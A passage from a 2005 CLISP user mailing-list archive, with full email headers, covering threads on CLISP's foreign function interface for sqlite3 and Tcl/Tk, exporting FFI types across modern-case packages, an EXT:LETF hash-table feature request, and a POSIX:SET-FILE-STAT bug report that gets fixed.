Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ffi question References: <5F9130612D07074EB0A0CE7E69FD7A0303BE7DC8@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0303BE7DC8@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 29 02:25:31 2005 X-Original-Date: Tue, 29 Mar 2005 13:25:19 +0300 Hoehle, Joerg-Cyril: > generally, please post a URL to the API documentation when asking advice > for how to interface to a particular foreign function. The reference > material is needed to answer. Sorry, I shall be corrected. Thanks. >>How to make that sqlite3-close it was called as well as in the first >>variant? > > Sorry, I don't understand the question. Excuse my bad English. But you have fine answered it. Many thanks. >>I should free memory (db) in the first or second variant? > > Yes. More precisely, you should extract the value right after the call > to open, then free the container. There's no need to repeat > (ffi:foreign-value db) every time you need to access a DB function. Thanks. I did not know. > As you have seen, :out parameters cover exactly this scenario. CLISP > will stack-allocate a pointer for you. CLISP's FFI is quite expressive. > But why use these cumbersome forms when :out does it for you? You are right. Many thanks once again. Where still it is possible to learn about ffi except for impnotes? -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Mar 29 02:46:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DGEEo-0004AO-6Z for clisp-list@lists.sourceforge.net; Tue, 29 Mar 2005 02:46:22 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DGEEn-00077G-9k for clisp-list@lists.sourceforge.net; Tue, 29 Mar 2005 02:46:22 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id H69VA1LT; Tue, 29 Mar 2005 13:49:19 +0300 Message-ID: <42493229.7080107@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: export ffi types from other package? References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 29 02:46:29 2005 X-Original-Date: Tue, 29 Mar 2005 13:47:05 +0300 Sam Steingold: >>>(apropos "*Tcl-Interp") should explain things. >> >>[3]> (apropos "*Tcl-Interp") >>TCL-FFI:*tcl-interp >>TCL-FFI::*Tcl-Interp > > > (mapc #'describe (apropos-list "*Tcl-Interp")) if removed *Tcl-Interp from option :export in define package tcl-ffi [2]> (load "tcl-ffi") ;; Loading file G:\Work\Lisp\cltk\tcl-ffi.lisp ... ;; Loaded file G:\Work\Lisp\cltk\tcl-ffi.lisp T [3]> (mapc #'describe (apropos-list "*Tcl-Interp")) TCL-FFI::*Tcl-Interp is the symbol TCL-FFI::*Tcl-Interp, lies in #, is accessible in 1 package TCL-FFI. # is the package named TCL-FFI. It imports the external symbols of 2 packages CS-COMMON-LISP, FFI and exports 9 symbols, but no package uses these exports. It is a modern case-sensitive package. (TCL-FFI::*Tcl-Interp) And in package tk-ffi this is work: (defpackage :tk-ffi (:modern t) (:use :COMMON-LISP :FFI :tcl-ffi)... (ffi:def-call-out Tk-Init (:name "Tk_Init") (:library *tk-shared-lib*) (:arguments (interp tcl-ffi::*Tcl-Interp)) (:return-type ffi:int)) But how to declare *Tcl-Interp in tcl-ffi, to use in tk-ffi *Tcl-Interp instead of tk-ffi::*Tcl-Interp? If it is possible. Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Mar 29 07:20:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DGIW0-0002yn-Sx for clisp-list@lists.sourceforge.net; Tue, 29 Mar 2005 07:20:24 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DGIVv-0002eL-SU for clisp-list@lists.sourceforge.net; Tue, 29 Mar 2005 07:20:24 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2TFH9bd025592; Tue, 29 Mar 2005 10:17:15 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42493229.7080107@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 29 Mar 2005 13:47:05 +0300") References: <42493229.7080107@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: export ffi types from other package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 29 07:20:55 2005 X-Original-Date: Tue, 29 Mar 2005 10:18:43 -0500 > * Yaroslav Kavenchuk [2005-03-29 13:47:05 +0300]: > > But how to declare *Tcl-Interp in tcl-ffi, to use in tk-ffi > *Tcl-Interp instead of tk-ffi::*Tcl-Interp? your problem is not the way you declare *Tcl-Interp but the way you use it. if it resides in a modern package, you must use it with the correct case. in particular, in a non-modern package, you must use the package prefix. -- Sam Steingold (http://www.podval.org/~sds) running w2k Modern man is the missing link between apes and human beings. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 30 04:34:43 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DGcPD-00068U-Em for clisp-list@lists.sourceforge.net; Wed, 30 Mar 2005 04:34:43 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DGcOw-0003yI-LU for clisp-list@lists.sourceforge.net; Wed, 30 Mar 2005 04:34:43 -0800 Received: from g8pbq.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 30 Mar 2005 13:34:08 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 30 Mar 2005 14:32:53 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0303BE8045@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] ext:letf with gethash is not DWIM/DWIE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 30 04:35:04 2005 X-Original-Date: Wed, 30 Mar 2005 14:32:49 +0200 [feature request sent here for discussion] Hi, Sometimes I think EXT:LETF is a nifty macro. Mostly I would consider using it with hash tables. However it does not restore hash table entries correctly (how is that defined anyway?) in the case where the key was not present before: (let((h(make-hash-table))) (ext:letf (((gethash 1 h) 2)) (princ(gethash 1 h))) (gethash 1 h)) prints 2 and yields NIL ; T I'd expect nil; nil as result. I wonder whether ext:LETF resp. get-setf-expander can accomodate such behaviour or whether it's really gethash that needs special treatment. Here's the behaviour I would expect for hash tables: (multiple-value-bind (found old) (gethash...) (setf (gethash ...) new) (unwind-protect body (if found (setf (gethash ...) old) (remhash key table)))) Regards, Jorg Hohle. From kavenchuk@jenty.by Thu Mar 31 02:17:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DGwjx-0003bn-Sc for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 02:17:29 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DGwjw-0001az-4r for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 02:17:29 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id H69VAH6B; Thu, 31 Mar 2005 13:20:23 +0300 Message-ID: <424BCE60.5090407@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: export ffi types from other package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 31 02:18:57 2005 X-Original-Date: Thu, 31 Mar 2005 13:18:08 +0300 Sam Steingold: > your problem is not the way you declare *Tcl-Interp but the way you use > it. > > if it resides in a modern package, you must use it with the correct > case. > in particular, in a non-modern package, you must use the package prefix. Well, small example. File ffi-types-test.lisp: (defpackage :ffi-types (:modern t) (:use :COMMON-LISP :FFI)) (in-package :ffi-types) (ffi:def-c-type Tcl-FreeProc (ffi:c-function (:arguments (blockPtr ffi:c-string)) (:return-type ffi:nil) (:language :stdc))) (ffi:def-c-struct Tcl-Interp (result ffi:c-string) (freeProc Tcl-FreeProc) (errorLine ffi:int)) (ffi:def-c-type *Tcl-Interp (ffi:c-ptr Tcl-Interp)) (defpackage :ffi-functions (:modern t) (:use :COMMON-LISP :FFI :ffi-types)) (in-package :ffi-functions) (defvar *tk-shared-lib* "tk84.dll") (ffi:default-foreign-language :stdc) (ffi:def-call-out Tk-Init (:name "Tk_Init") (:library *tk-shared-lib*) (:arguments (interp *Tcl-Interp)) (:return-type ffi:int)) Both packages (:modern t) case of *Tcl-Interp equal in both packages [8]> (load "ffi-types-test.lisp") ;; Loading file ffi-types-test.lisp ... *** - Incomplete FFI type *Tcl-Interp is not allowed here. The following restarts are available: SKIP :R1 skip this form and proceed STOP :R2 stop loading file ABORT :R3 abort Break 1 ffi-functions[9]> :a If use package prefix - all rights. I want withpot a prefix, but I do not know as. Thanks. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Mar 31 06:09:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DH0M9-0003D6-Oq for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 06:09:09 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DH0M8-0004Lk-4Y for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 06:09:09 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id H69VA2FJ; Thu, 31 Mar 2005 17:12:06 +0300 Message-ID: <424C04AE.6000306@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: export ffi types from other package? References: <424BCE60.5090407@jenty.by> In-Reply-To: <424BCE60.5090407@jenty.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 31 06:10:10 2005 X-Original-Date: Thu, 31 Mar 2005 17:09:50 +0300 If append to the end of package :ffi-types (export...) all works. But if append (:export...) in (defpackage...) - gives out the error. Or need to compile file.lisp with option -modern and load file.fas with or without -modern -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Mar 31 07:01:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DH1Aa-0007IY-Kp for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 07:01:16 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DH1AV-0002XE-CZ for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 07:01:16 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2VEwnZF002768; Thu, 31 Mar 2005 09:59:02 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <424C04AE.6000306@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 31 Mar 2005 17:09:50 +0300") References: <424BCE60.5090407@jenty.by> <424C04AE.6000306@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: export ffi types from other package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 31 07:02:55 2005 X-Original-Date: Thu, 31 Mar 2005 10:00:11 -0500 > * Yaroslav Kavenchuk [2005-03-31 17:09:50 +0300]: > > If append to the end of package :ffi-types > > (export...) > > all works. > But if append (:export...) in (defpackage...) - gives out the error. you need to ponder in which package the form is being read. :export in defpackage needs strings, not symbols. -- Sam Steingold (http://www.podval.org/~sds) running w2k NY survival guide: when crossing a street, mind cars, not streetlights. From kavenchuk@jenty.by Thu Mar 31 07:10:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DH1Jb-00086X-KC for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 07:10:35 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DH1Ja-0003tB-1n for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 07:10:35 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id H69VA22D; Thu, 31 Mar 2005 18:13:24 +0300 Message-ID: <424C130C.1030500@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: export ffi types from other package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 31 07:11:22 2005 X-Original-Date: Thu, 31 Mar 2005 18:11:08 +0300 Sam Steingold: >>If append to the end of package :ffi-types >> >> (export...) >> >>all works. >>But if append (:export...) in (defpackage...) - gives out the error. > > > you need to ponder in which package the form is being read. > :export in defpackage needs strings, not symbols. Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Mar 31 07:22:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DH1Ug-0000Wk-Fz for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 07:22:02 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DH1Ud-0005Yk-5e for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 07:22:02 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2VFJvxN005447; Thu, 31 Mar 2005 10:19:57 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <424BCE60.5090407@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 31 Mar 2005 13:18:08 +0300") References: <424BCE60.5090407@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: export ffi types from other package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 31 07:25:33 2005 X-Original-Date: Thu, 31 Mar 2005 10:21:19 -0500 > * Yaroslav Kavenchuk [2005-03-31 13:18:08 +0300]: > > If use package prefix - all rights. I want withpot a prefix, but I do > not know as. you must export it then. I recommend using something like (defpackage "MATLAB" (:modern t) (:use "COMMON-LISP" "FFI") (:shadowing-import-from "EXPORTING" #:defconstant #:defun #:defmacro #:def-c-type #:def-c-enum #:def-c-struct #:def-c-var #:def-call-out)) then all thins defined by the "EXPORTING" macros are exported automatically. -- Sam Steingold (http://www.podval.org/~sds) running w2k The software said it requires Windows 3.1 or better, so I installed Linux. From clisp@bignoli.it Thu Mar 31 13:45:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DH7TM-0001Vb-EL for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 13:45:04 -0800 Received: from mail-relay-2.tiscali.it ([213.205.33.42]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DH7TG-00066T-4w for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 13:45:04 -0800 Received: from vav.19216810.loc (62.10.41.87) by mail-relay-2.tiscali.it (7.1.021.3) id 420202CD007D756F for clisp-list@lists.sourceforge.net; Thu, 31 Mar 2005 23:44:50 +0200 Received: from vav.19216810.loc (IDENT:1000@localhost [127.0.0.1]) by vav.19216810.loc (8.13.3/8.13.3) with ESMTP id j2VLjixp004592 for ; Thu, 31 Mar 2005 23:45:44 +0200 Received: (from aurelio@localhost) by vav.19216810.loc (8.13.3/8.13.3/Submit) id j2VLji1a004589; Thu, 31 Mar 2005 23:45:44 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16972.28551.927697.485117@vav.19216810.loc> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.19 under Emacs 21.3.2 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Problem with POSIX:SET-FILE-STAT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 31 13:54:48 2005 X-Original-Date: Thu, 31 Mar 2005 23:45:43 +0200 In CVS HEAD, POSIX:SET-FILE-STAT doesn't work properly: [2]> (with-open-file (f "zzzz" :direction :output :if-exists :supersede)) NIL [3]> (posix:set-file-stat "zzzz" :mtime 0) [4]> (posix:set-file-stat "zzzz" :mtime (get-universal-time)) *** - not a 32-bit integer: 3321189652 The following restarts are available: ABORT :R1 ABORT Break 1 [5]> :a [6]> The problem seems to be in lines 1055 and 1069 of modules/syscalls/calls.c: the two calls to I_to_L should be replaced by calls to I_to_UL. From sds@gnu.org Fri Apr 01 07:58:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DHOXv-0001BF-W8 for clisp-list@lists.sourceforge.net; Fri, 01 Apr 2005 07:58:55 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DHOXY-0003ow-Qz for clisp-list@lists.sourceforge.net; Fri, 01 Apr 2005 07:58:55 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j31FuVQs008037; Fri, 1 Apr 2005 10:56:32 -0500 (EST) To: clisp-list@lists.sourceforge.net, Aurelio Bignoli Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16972.28551.927697.485117@vav.19216810.loc> (Aurelio Bignoli's message of "Thu, 31 Mar 2005 23:45:43 +0200") References: <16972.28551.927697.485117@vav.19216810.loc> Mail-Followup-To: clisp-list@lists.sourceforge.net, Aurelio Bignoli Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Problem with POSIX:SET-FILE-STAT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 1 07:59:22 2005 X-Original-Date: Fri, 01 Apr 2005 10:57:55 -0500 > * Aurelio Bignoli [2005-03-31 23:45:43 +0200]: > > In CVS HEAD, POSIX:SET-FILE-STAT doesn't work properly: > The problem seems to be in lines 1055 and 1069 of > modules/syscalls/calls.c: the two calls to I_to_L should be replaced > by calls to I_to_UL. thanks, fixed! -- Sam Steingold (http://www.podval.org/~sds) running w2k The only intuitive interface is the nipple. The rest has to be learned. From kavenchuk@jenty.by Mon Apr 04 01:50:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DINIO-0000ko-Cn for clisp-list@lists.sourceforge.net; Mon, 04 Apr 2005 01:50:56 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DINIM-0007NO-PZ for clisp-list@lists.sourceforge.net; Mon, 04 Apr 2005 01:50:56 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 2CKDLHYC; Mon, 4 Apr 2005 11:53:51 +0300 Message-ID: <42510014.7020602@jenty.by> From: Yaroslav 